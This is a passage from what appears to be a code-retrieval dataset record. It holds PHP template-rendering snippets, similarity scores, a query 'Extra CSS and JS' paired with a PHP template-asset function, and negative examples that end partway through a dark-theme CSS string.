directories\n $this->mkdirs(dirname($strTargetFile));\n\n // write the file\n $objFile = new File($strTargetFile);\n $objFile->write($xml);\n $objFile->close();\n\n $_SESSION['TL_INFO'][] = sprintf('Create new file %s.', $strTargetFile);\n }\n\n $this->redirect('contao/main.php?do=xliff');\n }\n\n $GLOBALS['TL_CSS']['xliff'] = 'system/modules/xliff/public/backend.css';\n $GLOBALS['TL_JAVASCRIPT']['xliff'] = 'system/modules/xliff/public/backend.js';\n\n $arrFiles = array();\n $arrLanguages = array();\n foreach ($arrModules as $strModule) {\n if (in_array($strModule, array('calendar', 'comments', 'core', 'devtools', 'faq', 'listing', 'news', 'newsletter', 'repository'))) {\n continue;\n }\n\n $strLanguagesPath = TL_ROOT . '/system/modules/' . $strModule . '/languages';\n if (is_dir($strLanguagesPath)) {\n $arrModuleLanguages = scan($strLanguagesPath);\n\n foreach ($arrModuleLanguages as $strLanguage) {\n $arrLanguages[] = $strLanguage;\n\n $strLanguagePath = $strLanguagesPath . '/' . $strLanguage;\n\n if (is_dir($strLanguagePath)) {\n $arrLanguageFiles = scan($strLanguagePath);\n\n foreach ($arrLanguageFiles as $strLanguageFile) {\n // absolute path to the php file\n $strLanguageFile = $strLanguagePath . '/' . $strLanguageFile;\n\n if (preg_match('#\\.(xlf|php)$#', $strLanguageFile, $arrMatch)\n ) {\n // extract the language key (first part of the TL_LANG array\n $strLanguageKey = basename($strLanguageFile, '.' . $arrMatch[1]);\n\n // store the php file timestamp\n $arrFiles[$strModule][$strLanguageKey][$strLanguage][$arrMatch[1]]['mtime'] = filemtime($strLanguageFile);\n }\n }\n }\n }\n }\n }\n\n natcasesort($arrModules);\n ksort($arrFiles);\n $arrLanguages = array_unique(array_filter(array_values($arrLanguages)));\n natcasesort($arrLanguages);\n\n $this->Template->modules = $arrModules;\n $this->Template->files = $arrFiles;\n $this->Template->languages = $arrLanguages;\n }", "public function index() \n\t{\n\t\tif(! $this->xmlHttpRequest){\n\t\t\t$this->registry->template->show($this->file . $this->extension);\n\t\t}\n\t\telse{\n\t\t\t$this->process();\n\t\t}\n\t}", "protected function compile()\n\t{\n\n\t\t$this->Template->tweetcontainer = $this->html;\n\n\t}", "public function render()\n\t{\n\t $templateFile = $this->template;\n\t $templateContents = $this->getTemplateContents($templateFile);\n\n\t $layout = $this->getTemplateLayout($templateContents);\n $arguments = $this->getTemplateArguments($templateContents);\n\n\t return $this->renderLayout(\n \t\t$layout, \n \t\tfunction () use ($templateFile) {\n\t\t $template = new Template($templateFile);\n\t\t return $template->render();\n\t \t},\n \t\t$arguments\n \t);\n\t}", "function _tpl_load($handle)\n\t{\n\t\tglobal $config, $user, $db;\n\n\t\t// If we don't have a file assigned to this handle, die.\n\t\tif ( !isset($this->files[$handle]) )\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'template->_tpl_load(): No file specified for handle ' . $handle, '', __LINE__, __FILE__);\n\t\t}\n\n\t\t// get the file name\n\t\t$w_filename = str_replace('/', '_', $this->filename[$handle]);\n\t\t$filename = ($this->mains[$handle] ? $this->alt_cacheprefix : $this->cacheprefix) . $w_filename . '.' . $config->ext;\n\n\t\t// Recompile page if the original template is newer, otherwise load the compiled version\n\t\tif ( !empty($this->compiled_code[$handle]) )\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\telse if ( !$config->data['cache_disabled_template'] && @file_exists($filename) && (!$config->data['cache_check_template'] || (@filemtime($filename) > @filemtime($this->files[$handle]))) )\n\t\t{\n\t\t\treturn $filename;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_tpl_load_file($handle);\n\t\t}\n\t\treturn false;\n\t}", "function handle() {\n\t\t$xgettextArgs = array();\n\t\t$twigTemplates = array();\n\t\t$this->readCommandLineArgs($xgettextArgs, $twigTemplates);\n\t\t$phpTemplates = $this->loadTemplate($twigTemplates);\n\t\t$command = implode(' ', $xgettextArgs);\n\t\t$phpTemplates = implode(' ', $phpTemplates);\n\t\t$command = self::XGETTEXT_PATH . \" $command $phpTemplates\";\n\t\tsystem($command);\n\t}", "public function run()\n {\n $template = $this->_template;\n $positions = $template->getPositions();\n $assigned = [];\n foreach (Yii::$app->big->getFrontendThemePositions() as $name => $title) {\n $item = [\n 'title' => $title,\n 'blocks' => [],\n ];\n if (isset($positions[$name])) {\n $item['blocks'] = $this->getBlocks($positions[$name]);\n }\n $assigned[$name] = $item;\n }\n\n $this->registerScripts();\n\n return $this->render($this->viewFile, [\n 'availableBlocks' => $this->blocks,\n 'assignedBlocks' => $assigned,\n 'columns' => $this->columns,\n 'id' => $this->id,\n ]);\n }", "function read_template_file (){\n\n\t// Generate an error if the template file does not exist and return 'false'.\n if (! file_exists($this->template_file)) {\n print 'Template file does not exist: ['.$this->template_file.']';\n\t return false;\n }\n\t// We use templates and the template file exists\n\t// Capture the template, this way we can use php code inside templates\n\t\n\t$this->start_capture (); // Start capture to buffer\n\trequire $this->template_file; // Includes the template, this way php code can be used in templates\n\t$this->stop_capture ('template_html');\n\treturn true;\n }", "protected function compile()\n\t{\n\t\tif (TL_MODE == 'BE')\n\t\t{\n\t\t\t$this->strTemplate = 'be_wildcard';\n\t\t\t$this->Template = new \\BackendTemplate($this->strTemplate);\n\t\t}\n\t}", "public function render() {\n\t\tW2P::getInstance()->debug()->_debug_add_content ( \"Executing all modules methods.\" );\n\t\tW2P::getInstance()->modules()->exec_all_functions();\n\t\t\n\t\tW2P::getInstance()->debug()->_debug_add_content ( \"Generating rendering of the view: {$this->view}\" );\n\t\t\n\t\tob_start ();\n\t\tinclude_once (W2P_INCLUDE . W2P::getInstance()->configuration()->layout_path . '/views/' . $this->view . '.phtml');\n\t\t$this->content = ob_get_clean ();\n\t\t\n\t\tW2P::getInstance()->debug()->_debug_add_content ( \"Content of the rendered view\" );\n\t\tW2P::getInstance()->debug()->_debug_add_content ( \"Adding to the project layout\" );\n\t\t\n\t\tinclude (W2P_INCLUDE . W2P::getInstance()->configuration()->layout_path . '/' . $this->layout . '.phtml');\n\t\t\n\t\tW2P::getInstance()->debug()->_debug_add_content ( \"Layout successfully mastered\" );\n\t\t\n\t\tif (W2P::getInstance()->configuration()->debug)\n\t\t\tW2P::getInstance()->debug()->save_debug ( W2P::getInstance()->configuration()->debug_format );\n\t}", "function oz_eval_template ($templatefile) {\r\n\t//Check if template already present in file system and that it's up to date.\r\n\t//If it is, then reuse it using include.\r\n\t$src = file_get_contents($templatefile);\r\n\t$php = '';\r\n\t$i = 0;\r\n\t$n = strlen($src);\r\n\twhile ($i<$n) {\r\n\t\t$i2 = strpos($src,'{{',$i);\r\n\t\tif ($i2===FALSE) {$php .= substr($src,$i,$n-$i);break;}\r\n\t\t$i3 = strpos($src,'}}',$i2+2);\r\n\t\tif ($i3===FALSE) {$php .= substr($src,$i,$n-$i);break;}\r\n\t\tif ($i2>$i) $php.=substr($src,$i,$i2-$i);\r\n\t\t$key = substr($src,$i2+2,$i3-$i2-2);\r\n\t\t$php.='<?php echo oz_text(\\''.$key.'\\'); ?>';\r\n\t\t$i = $i3+2;\r\n\t}\r\n\treturn eval(\" \\r\\n?>\".$php.\"<?php \\r\\n\");\r\n}", "protected function compile()\n {\n $parUri = '';\n\n $this->log('Detail: ' . $parUri . ' - ' . $this->Input->get(self::$strDetailKey), 'compile()', 'Probenplan');\n $this->log('Delete: ' . $parUri . ' - ' . $this->Input->get(self::$strDeleteKey), 'compile()', 'Probenplan');\n $this->log('View : ' . $parUri . ' - ' . $this->Input->get(self::$strViewKey), 'compile()', 'Probenplan');\n\n if ($this->Input->get(self::$strDetailKey)) {\n $parUri = 'ins';\n }\n if ($this->Input->get(self::$strDeleteKey)) {\n $parUri = 'del';\n }\n if ($this->Input->get(self::$strViewKey)) {\n $parUri = 'view';\n }\n if (!$this->Input->get(self::$strDetailKey) && !$this->Input->get(self::$strDeleteKey) && !$this->Input->get(self::$strViewKey)) {\n $parUri = '';\n }\n\n $this->log('parUri: ' . $parUri . ' - ' . $this->Input->get(self::$strDetailKey), 'compile()', 'Probenplan');\n\n switch ($parUri) {\n case 'ins':\n $this->compileEditTemplate();\n break;\n case 'del':\n $this->compileDeleteData($this->Input->get(self::$strDeleteKey));\n $this->compileListTemplate();\n break;\n case 'vie':\n $this->compileViewTemplate();\n break;\n default:\n $this->compileListTemplate();\n break;\n }\n\n }", "static private function render($file, $data){\n extract($data);\n // Extract data retreived from the Sharer\n if(Sharer::get() !== null){\n extract(Sharer::get());\n }\n\n // Merge data into the hive\n self::$hive = array_merge(self::$hive, get_defined_vars());\n unset($data);\n\n ob_start();\n include($file);\n $input = ob_get_contents();\n ob_end_clean();\n\n $output = preg_replace_callback('!\\{\\{(.*?)\\}\\}!', 'Viewer::replace', $input);\n\n\n echo($output);\n }", "function make($filename, $data){\n\n extract($data);\n //turn on output buffering\n ob_start(); //this is to store the data in an internal buffer and not the browser\n\n //include the template\n include(__DIR__ .'/../../resources/views/emails/' .$filename .'.php');\n\n //to get the contents out of the file\n\n $content = ob_get_contents();\n\n //erase the content and turn off output buffering\n ob_end_clean();\n\n return $content;\n}", "public function render() {\n\t\textract($this->data);\n\t\trequire($this->path);\n\t}", "public function run()\n\t{\n\t\tif (file_exists('templates/type.html'))\n\t\t{\n\t\t $this->obj->setTemplateName('type');\n\t\t}\n\t\telse\n\t\t{\n\t\t throw new Exception('Template was not found');\n\t\t}\n\t\t$this->creataTypeArray();\n\t}", "private function buildPage() {\n ob_clean();\n ob_start();\n\n //session_start();\n require_once $this->_template;\n\n $this->_page = ob_get_clean();\n }", "public function run()\n {\n $this->loadTextFile($this->text_file);\n }", "function template ($file, $data) {\n\textract ($data);\n\trequire ($file);\n}", "public function render(string $template, array $args): string\n {\n $file = $this->getFile($template);\n extract($args);\n ob_start();\n require_once \"$file\";\n\n return ob_get_clean();\n }", "public function run(): void\n {\n try {\n $content = $this->handleRequest();\n } catch (\\Exception $e) {\n if (DEBUG_MODE) {\n ob_start();\n include __DIR__ . '/../views/error/error.php';\n $content = ob_get_clean();\n } else {\n $content = self::$config['error_message'];\n }\n }\n\n echo self::$view->renderPage($content);\n }", "function handle()\n {\n\n if(isset($_POST['submit-report'])){\n $this->handleSubmission();\n }\n\n\n $this->page = file_get_contents('./pages/dispatch.html');\n $departments = $this->generateDepartments();\n $this->page = str_replace(\"<!-- Fill Departments -->\", $departments, $this->page);\n $this->page = str_replace(\"<!-- HEADER -->\", file_get_contents('./pages/header.html'), $this->page);\n //$this->page = str_replace('<!-- javascript -->', $this->getJS(), $this->page);\n }", "public function Fetch_Php()\n {\n if ( 0 == count($this->_Template) )\n return '';\n\n $path = [];\n foreach ($this->_Template as $template)\n {\n $path = self::Search_Template_Extension($template, '.php');\n if ( $path )\n {\n break;\n }\n }\n if ( !$path )\n {\n Zero_Logs::Set_Message_Error('NOT FOUND view [' . implode(', ', $this->_Template) . ']');\n return '';\n }\n extract($this->_Data);\n $this->_Data = [];\n return require $path;\n }", "function handle()\n {\n $this->page = file_get_contents('./pages/details.html');\n $this->page = str_replace('<!-- HEADER -->', file_get_contents('./pages/header.html'), $this->page);\n\n }", "function actionSource() {\r\n\r\n\t\t\t// Get the basename of the file\r\n\t\t\t$file = $_GET['id'];\r\n\r\n\t\t\t// Filepath should start with the directory of this file\r\n\t\t\t$basePath = strtolower( dirname( __FILE__ ) );\r\n\t\t\t$filePath = strtolower( dirname( realpath( $_GET['id'] ) ) );\r\n\r\n\t\t\t// Check if the file is in the right directory\r\n\t\t\tif ( substr( $filePath, 0, strlen( $basePath ) ) != $basePath ) {\r\n\t\t\t\t$this->forward( 'default' );\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\r\n\t\t\t// Check if the file exists\r\n\t\t\tif ( ! is_file( $file ) ) {\r\n\t\t\t\t$this->forward( 'default' );\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\r\n\t\t\t// Show the highlighted source\r\n\t\t\t$this->template->assign( 'file', $file );\r\n\t\t\t$this->template->assign( 'source', highlight_file( $file, 1 ) );\r\n\r\n\t\t\t// Output the template\r\n\t\t\t$this->template->display();\r\n\r\n\t\t}", "public function load() {\n\t\t$this->copyFromTemplateIfNeeded();\n\t\trequire $this->filePath;\n\t\t$this->vars = $vars;\n\t}", "public function compile(File $file);", "public function execute()\n\t{\n\t\t$this->output = $this->output->getHelpOutput();\n\t\t$this->help();\n\t\t$this->output->render();\n\t}", "function display($template, $cache_id=null, $compile_id=null)\n {\n echo $this->fetch($template, $cache_id, $compile_id);\n }", "public function render(){\n require_once($_SERVER['DOCUMENT_ROOT'].\"//views/\".self::$page_name.\"/\".self::$page_name.\".php\");\n }", "protected function initTemplate()\n {\n /** @var WorldState $state */\n /** @var ExecHelper $exec */\n $tplPhp = <<<EOS\nWorld. From: <?=\\$state->name?>\n\nExec URL: <?=\\$exec->url( 'someExec', ['a'=>1] )?><?php \\$formBody = \"<input type=\\\"text\\\" name=\\\"someInput\\\" value=\\\"2\\\">\\n\"?>\n\nExec Form:\n<?=\\$exec->wrapForm( 'otherExec', 'POST', \\$formBody ) ?>\nEOS;\n $this->template = new PhpTemplate( $this, null, $tplPhp );\n }", "protected function compile() {\n if (TL_MODE == 'BE') {\n $this->genBeOutput();\n } else {\n $this->genFeOutput();\n }\n }", "function getRenderedTemplate($file,$data=array())\n {\n $this->compile($file);\n ob_start();\n extract($data);\n include $this->getCompiledTemplate();\n $ret = ob_get_contents();\n ob_end_clean();\n \n return $ret;\n }", "public static function renderTemplate()\n {\n echo self::$template;\n }", "private function output() {\n \n Quantum\\Output::smartyRender();\n \n }", "function loadfile($handle)\n\t{\n\t\tif (isset($this->uncompiled_code[$handle]) && !empty($this->uncompiled_code[$handle]))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\n\t\t// If we don't have a file assigned to this handle, die.\n\t\tif (!isset($this->files[$handle]))\n\t\t{\n\t\t\tdie(\"Template->loadfile(): No file specified for handle $handle\");\n\t\t}\n\n\t\t$filename = $this->files[$handle];\n\n\t\t$str = implode(\"\", @file($filename));\n\t\tif (empty($str))\n\t\t{\n\t\t\tdie(\"Template->loadfile(): File $filename for handle $handle is empty\");\n\t\t}\n\n\t\t$this->uncompiled_code[$handle] = $str;\n\n\t\treturn true;\n\t}", "public function render() {\n\t\t$this->template->setFile(__DIR__ . '/templates/' . $this->templateName);\n\n\t\t$this->template->richTexts = $this->getRichTextNames();\n\t\t$this->template->config = $this->configuration;\n\n\t\t$this->template->render();\n\t}", "public static function phpEvaluation(Template $template/*, $content, $isFile*/)\n\t{\n\t\textract($template->getParams(), EXTR_SKIP); // skip $this & $template\n\t\tif (func_num_args() > 2 && func_get_arg(2)) {\n\t\t\tinclude func_get_arg(1);\n\t\t} else {\n\t\t\teval('?>' . func_get_arg(1));\n\t\t}\n\t}", "function run()\n{\n include config('template_path').'/template.php';\n}", "public function loadTemplate()\n\t\t{\n\t\t}" ]
[ "0.7008804", "0.6993648", "0.69651484", "0.68600553", "0.6711495", "0.66402453", "0.6548312", "0.6447881", "0.6387177", "0.6350482", "0.6340734", "0.6339402", "0.6241958", "0.61906946", "0.6178207", "0.6117979", "0.608432", "0.605321", "0.60423136", "0.6037851", "0.60225505", "0.5985286", "0.5985214", "0.598147", "0.5973207", "0.5960346", "0.59450346", "0.5942485", "0.59371525", "0.59364116", "0.59320503", "0.5931817", "0.59274733", "0.59140825", "0.5911267", "0.5906815", "0.5902009", "0.5878503", "0.5876237", "0.5869531", "0.58627266", "0.5858969", "0.58477485", "0.5843541", "0.5826144", "0.58247656", "0.5816812", "0.58029515", "0.57925093", "0.5781779", "0.57703495", "0.57693255", "0.57558584", "0.57524484", "0.57469815", "0.57459813", "0.5745902", "0.57394695", "0.57370746", "0.5734983", "0.57216674", "0.5720279", "0.5719753", "0.5719618", "0.5706324", "0.57008356", "0.56974876", "0.56972337", "0.5685995", "0.56850827", "0.56728286", "0.56726927", "0.5671849", "0.56689465", "0.56678206", "0.5666956", "0.56652796", "0.56641334", "0.56548095", "0.5644153", "0.56430435", "0.5642029", "0.5641523", "0.5641391", "0.5635121", "0.56345856", "0.5632913", "0.5621092", "0.562069", "0.5618743", "0.5617229", "0.5608306", "0.5607896", "0.56016845", "0.5596839", "0.55929685", "0.55866027", "0.5586547", "0.55846816", "0.5580168", "0.55660737" ]
0.0
-1
Extra CSS and JS
function add_css_js() { if (!defined('CSS_JS_PARSED')) { define('CSS_JS_PARSED', true); } // Include custom CSS from templates/CURRENT_TPL folder if(is_array($this->css_style_include) && !empty($this->css_style_include)) { for ($i = 0; $i < sizeof($this->css_style_include); $i++) { $this->assign_block_vars('css_style_include', array( 'CSS_FILE' => $this->css_style_include[$i], ) ); } } // Include custom CSS from templates/common folder if(is_array($this->css_include) && !empty($this->css_include)) { for ($i = 0; $i < sizeof($this->css_include); $i++) { $this->assign_block_vars('css_include', array( 'CSS_FILE' => $this->css_include[$i], ) ); } } // Include custom JS from templates/common folder if(is_array($this->js_include) && !empty($this->js_include)) { for ($i = 0; $i < sizeof($this->js_include); $i++) { $this->assign_block_vars('js_include', array( 'JS_FILE' => $this->js_include[$i], ) ); } } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function css() {\r\n\t\tif ($this->cssLink != false) {\r\n\t\t\tif($this->scriptTo) {\r\n\t\t\t\t$elem = pzk_element($this->scriptTo);\r\n\t\t\t\t$elem->append(pzk_parse('<html.css src=\"'.BASE_REQUEST.'/default/skin/'.pzk_app()->name.'/css/'.$this->cssLink.'.css\" />'));\r\n\t\t\t} else {\r\n\t\t\t\tif($page = pzk_page())\r\n\t\t\t\t\t$page->addObjCss($this->cssLink);\r\n\t\t\t}\r\n\r\n\t\t}\r\n\t\tif ($this->cssExternalLink != false) {\r\n\t\t\tif($this->scriptTo) {\r\n\t\t\t\t$elem = pzk_element($this->scriptTo);\r\n\t\t\t\t$elem->append(pzk_parse('<html.css src=\"'.$this->cssExternalLink.'\" />'));\r\n\t\t\t} else {\r\n\t\t\t\tif($page = pzk_page()) {\r\n\t\t\t\t\t$page->addExternalCss($this->cssExternalLink);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t}", "protected function renderJavaScriptAndCss() {}", "function additional_styles() {\n\t\tJetpack_Admin_Page::load_wrapper_styles();\n\t}", "private function _include_css()\n {\n if ( !$this->cache['css'] )\n {\n $this->EE->cp->add_to_head('<style type=\"text/css\">\n .vz_range { padding-bottom:0.5em; }\n .vz_range input { width:97%; padding:4px; }\n .vz_range_min { float:left; width:46%; }\n .vz_range_max { float:right; width:46%; }\n .vz_range_sep { float:left; width:8%; text-align:center; line-height:2; }\n</style>');\n\n $this->cache['css'] = TRUE;\n }\n }", "public function insert_inline_css() {\n }", "public function insert_inline_css() {\n }", "public function insert_inline_css() {\n }", "public function insert_inline_css() {\n }", "public function insert_inline_css() {\n }", "public function dt_testimonial_simple_loadCssAndJs() {\n wp_register_style( 'dt_extend_style', plugins_url('assets/droit-wbpakery-addons.css', __FILE__) );\n }", "function ft_hook_add_css() {}", "private function addCSS()\n {\n Filters::add('head', array($this, 'renderRevisionsCSS'));\n }", "public function insert_inline_scripts() {\n }", "public function insert_inline_scripts() {\n }", "public function insert_inline_scripts() {\n }", "public function css();", "protected function doConcatenateCss() {}", "public function enqueue_scripts() {\n\t\twp_add_inline_style( 'at-main', $this->inline_css() );\n\t}", "function cssAndJs() {\r\n\t\t$siteurl = get_bloginfo('wpurl');\r\n\t\t// include css in any case. e.g. for widget\r\n\t\tprint '<link rel=\"stylesheet\" type=\"text/css\" href=\"'.$siteurl.'/wp-content/plugins/uwr1results/uwr1results.css\" />'.\"\\n\";\r\n\t\tif (!defined('IS_UWR1RESULTS_VIEW')) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t$siteurlPath = substr($siteurl, strlen('http://'.$_SERVER['HTTP_HOST']));\r\n\t\tif ('/' != $siteurlPath{0}) {\r\n\t\t\t$siteurlPath = '/'.$siteurlPath;\r\n\t\t}\r\n\t\t//print '<script type=\"text/javascript\" src=\"'.$siteurl.'/wp-content/plugins/uwr1results/uwr1results.js.php?siteurl='.urlencode($siteurlPath)./*($https?'ssl=1':'').*/'\"></script>'.\"\\n\";\r\n\t}", "protected function addSystemCssJs()\n\t{\n\t\tglobal $cWebPath;\n\t\t\t\t\n\t\t$this->mStyles[] = $cWebPath . '/style/mainstyle.css';\n\t\t$this->mStyles[] = $cWebPath . '/style/svwp_style.css';\n\t\t\n\t\t$this->mScripts[] = $cWebPath . '/scripts/jquery.slideViewerPro.1.5.js';\n\t\t$this->mScripts[] = $cWebPath . '/scripts/jquery.timers-1.2.js';\n\t\t$this->mScripts[] = $cWebPath . '/scripts/imageslider.js';\n\t}", "protected function addFilteringJsAndCss()\n {\n $this->setStylesheets('');\n $this->setJavascripts('');\n }", "protected function generateCSS() {}", "public function enableConcatenateCss() {}", "public function set_script_styling(){\r\n /**\r\n * enqueue css styling here\r\n */\r\n wp_enqueue_style('before-after-comparison-styling', plugin_dir_url( __FILE__ ) . 'css/before-after.css', array(), '1.0');\r\n\r\n /**\r\n * enqueue custom js / javascript library here\r\n */\r\n wp_enqueue_script('before-after-comparison-javascript', plugin_dir_url( __FILE__ ) . 'js/before-after.js', array('jquery'), '1.0' , false);\r\n\r\n \r\n }", "function admin_include_scripts() {\n\n\t\t\twp_register_style('wa_wcc_admin',get_template_directory_uri().'/plugin/collapse/assets/css/admin.css');\n\t\t\twp_enqueue_style('wa_wcc_admin');\n\n\t}", "public function dt_icon_list_loadCssAndJs() {\n wp_register_style( 'dt_extend_style', plugins_url('assets/droit-wbpakery-addons.css', __FILE__) );\n // If you need any javascript files on front end, here is how you can load them.\n //wp_enqueue_script( 'droit-wbpakery-addons_js', plugins_url('assets/droit-wbpakery-addons.js', __FILE__), array('jquery') );\n }", "function head_css()\n\t{\n\t\tqa_html_theme_base::head_css();\n\t\t// if if already added widgets have a css file activated\n\t\t$styles = array();\n\t\tforeach ($this->content['widgets'] as $region_key => $regions) {\n\t\t\tforeach ($regions as $template_key => $widgets) {\n\t\t\t\t$position = strtoupper(substr($region_key,0,1) . substr($template_key,0,1) );\n\t\t\t\tforeach ($widgets as $key => $widget) {\n\t\t\t\t\t$widget_name = get_class ($widget);\n\t\t\t\t\t$widget_key = $widget_name.'_'.$position;\n\t\t\t\t\t$file = get_widget_option($widget_key, 'uw_styles');\n\t\t\t\t\t// if file existed then put it into an array to prevent duplications\n\t\t\t\t\tif($file)\n\t\t\t\t\t\t$styles[$widget_name][$file]=true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// add styling files to theme\n\t\tif($styles)\n\t\t\tforeach ($styles as $widget_name => $files)\n\t\t\t\tforeach ($files as $file => $verified)\n\t\t\t\t\tif( $file != 'none' )\n\t\t\t\t\t\t$this->output('<link rel=\"stylesheet\" href=\"'.UW_URL.'widgets/'.$widget_name.'/styles/'.$file.'\"/>');\n\t}", "function PluginUpdateIgnoreJsCss() {\n\t\t$this->__construct();\n\t}", "function onemax_vc_js_css()\n{\n if (!is_admin()) {\n wp_enqueue_style('onemax-interactive', ONEMAX_URI.'/css/interactive.css');\n wp_enqueue_script('onemax-aos', ONEMAX_URI.'/js/library/aos.js');\n wp_enqueue_script('onemax-owl-carousel', ONEMAX_URI.'/js/component/portfolio_carousel/owl.carousel.js');\n wp_enqueue_script('onemax-image-setting', ONEMAX_URI.'/js/component/image/image.js');\n wp_enqueue_script('onemax-conter', ONEMAX_URI.'/js/component/counters/conter.js', '', '', true);\n }\n}", "function cap_vc_extend_js_css() {\n //wp_enqueue_style( 'cap_vc_extend_style' );\n // If you need any javascript files on front end, here is how you can load them.\n //wp_enqueue_script( 'cap_vc_extend_js', plugins_url('cap_vc_extend.js', __FILE__), array('jquery') );\n}", "public static function use_inline_scripts(){\n return false;\n }", "public static function load_dynamic_css() {\n\t\t\tif ( ! isset( $_POST['vc_inline'] ) ) {\n\t\t\t\t\n\t\t\t\t// Custom styles\n\t\t\t\t$name = self::option( 'white_label_theme_name', 'xtra' );\n\t\t\t\t$handle = wp_style_is( 'codevz-plugin' ) ? 'codevz-plugin' : $name;\n\t\t\t\t$extra_css = '';\n\n\t\t\t\t// Dark\n\t\t\t\tif ( self::option( 'dark' ) ) {\n\t\t\t\t\t$extra_css .= \"/* Dark */\" . 'body{background-color:#171717;color:#fff}.layout_1,.layout_2{background:#191919}a,.woocommerce-error, .woocommerce-info, .woocommerce-message{color:#fff}.sf-menu li li a,.sf-menu .cz > h6{color: #000}.cz_quote_arrow blockquote{background:#272727}.search_style_icon_dropdown .outer_search, .cz_cart_items {background: #000;color: #c0c0c0 !important}.woocommerce div.product .woocommerce-tabs ul.tabs li.active a {color: #111}#bbpress-forums li{background:none!important}#bbpress-forums li.bbp-header,#bbpress-forums li.bbp-header,#bbpress-forums li.bbp-footer{background:#141414!important;color:#FFF;padding:10px 20px!important}.bbp-header a{color:#fff}.subscription-toggle,.favorite-toggle{padding: 1px 20px !important;}span#subscription-toggle{color: #000}#bbpress-forums #bbp-single-user-details #bbp-user-navigation li.current a{background:#1D1E20!important;color:#FFF;opacity:1}#bbpress-forums li.bbp-body ul.forum,#bbpress-forums li.bbp-body ul.topic{padding:10px 20px!important}.bbp-search-form{margin:0 0 12px!important}.bbp-form .submit{margin:0 auto 20px}div.bbp-breadcrumb,div.bbp-topic-tags{line-height:36px}.bbp-breadcrumb-sep{padding:0 6px}#bbpress-forums li.bbp-header ul{font-size:14px}.bbp-forum-title,#bbpress-forums .bbp-topic-title .bbp-topic-permalink{font-size:16px;font-weight:700}#bbpress-forums .bbp-topic-started-by{display:inline-block}#bbpress-forums p.bbp-topic-meta a{margin:0 4px 0 0;display:inline-block}#bbpress-forums p.bbp-topic-meta img.avatar,#bbpress-forums ul.bbp-reply-revision-log img.avatar,#bbpress-forums ul.bbp-topic-revision-log img.avatar,#bbpress-forums div.bbp-template-notice img.avatar,#bbpress-forums .widget_display_topics img.avatar,#bbpress-forums .widget_display_replies img.avatar{margin-bottom:-2px;border:0}span.bbp-admin-links{color:#4F4F4F}span.bbp-admin-links a{color:#7C7C7C}.bbp-topic-revision-log-item *{display:inline-block}#bbpress-forums .bbp-topic-content ul.bbp-topic-revision-log,#bbpress-forums .bbp-reply-content ul.bbp-topic-revision-log,#bbpress-forums .bbp-reply-content ul.bbp-reply-revision-log{border-top:1px dotted #474747;padding:10px 0 0;color:#888282}.bbp-topics,.bbp-replies,.topic{position:relative}#subscription-toggle,#favorite-toggle{float:right;line-height:34px;color:#DFDFDF;display:block;border:1px solid #DFDFDF;padding:0;margin:0;font-size:12px;border:0!important}.bbp-user-subscriptions #subscription-toggle,.bbp-user-favorites #favorite-toggle{position:absolute;top:0;right:0;line-height:20px}.bbp-reply-author br{display:none}#bbpress-forums li{text-align:left}li.bbp-forum-freshness,li.bbp-topic-freshness{width:23%}.bbp-topics-front ul.super-sticky,.bbp-topics ul.super-sticky,.bbp-topics ul.sticky,.bbp-forum-content ul.sticky{background-color:#2C2C2C!important;border-radius:0!important;font-size:1.1em}#bbpress-forums div.odd,#bbpress-forums ul.odd{background-color:#0D0D0D!important}div.bbp-template-notice a{display:inline-block}div.bbp-template-notice a:first-child,div.bbp-template-notice a:last-child{display:inline-block}#bbp_topic_title,#bbp_topic_tags{width:400px}#bbp_stick_topic_select,#bbp_topic_status_select,#display_name{width:200px}#bbpress-forums #bbp-your-profile fieldset span.description{color:#FFF;border:#353535 1px solid;background-color:#222!important;margin:16px 0}#bbpress-forums fieldset.bbp-form{margin-bottom:40px}.bbp-form .quicktags-toolbar{border:1px solid #EBEBEB}.bbp-form .bbp-the-content,#bbpress-forums #description{border-width:1px!important;height:200px!important}#bbpress-forums #bbp-single-user-details{width:100%;float:none;border-bottom:1px solid #080808;box-shadow:0 1px 0 rgba(34,34,34,0.8);margin:0 0 20px;padding:0 0 20px}#bbpress-forums #bbp-user-wrapper h2.entry-title{margin:-2px 0 20px;display:inline-block;border-bottom:1px solid #FF0078}#bbpress-forums #bbp-single-user-details #bbp-user-navigation a{padding:2px 8px}#bbpress-forums #bbp-single-user-details #bbp-user-navigation{display:inline-block}#bbpress-forums #bbp-user-body,.bbp-user-section p{margin:0}.bbp-user-section{margin:0 0 30px}#bbpress-forums #bbp-single-user-details #bbp-user-avatar{margin:0 20px 0 0;width:auto;display:inline-block}#bbpress-forums div.bbp-the-content-wrapper input{width:auto!important}input#bbp_topic_subscription{width:auto;display:inline-block;vertical-align:-webkit-baseline-middle}.widget_display_replies a,.widget_display_topics a{display:inline-block}.widget_display_replies li,.widget_display_forums li,.widget_display_views li,.widget_display_topics li{display:block;border-bottom:1px solid #282828;line-height:32px;position:relative}.widget_display_replies li div,.widget_display_topics li div{font-size:11px}.widget_display_stats dt{display:block;border-bottom:1px solid #282828;line-height:32px;position:relative}.widget_display_stats dd{float:right;margin:-40px 0 0;color:#5F5F5F}#bbpress-forums div.bbp-topic-content code,#bbpress-forums div.bbp-reply-content code,#bbpress-forums div.bbp-topic-content pre,#bbpress-forums div.bbp-reply-content pre{background-color:#FFF;padding:12px 20px;max-width:96%;margin-top:0}#bbpress-forums div.bbp-forum-author img.avatar,#bbpress-forums div.bbp-topic-author img.avatar,#bbpress-forums div.bbp-reply-author img.avatar{border-radius:100%}#bbpress-forums li.bbp-header,#bbpress-forums li.bbp-footer,#bbpress-forums li.bbp-body ul.forum,#bbpress-forums li.bbp-body ul.topic,div.bbp-forum-header,div.bbp-topic-header,div.bbp-reply-header{border-top:1px solid #252525!important}#bbpress-forums ul.bbp-lead-topic,#bbpress-forums ul.bbp-topics,#bbpress-forums ul.bbp-forums,#bbpress-forums ul.bbp-replies,#bbpress-forums 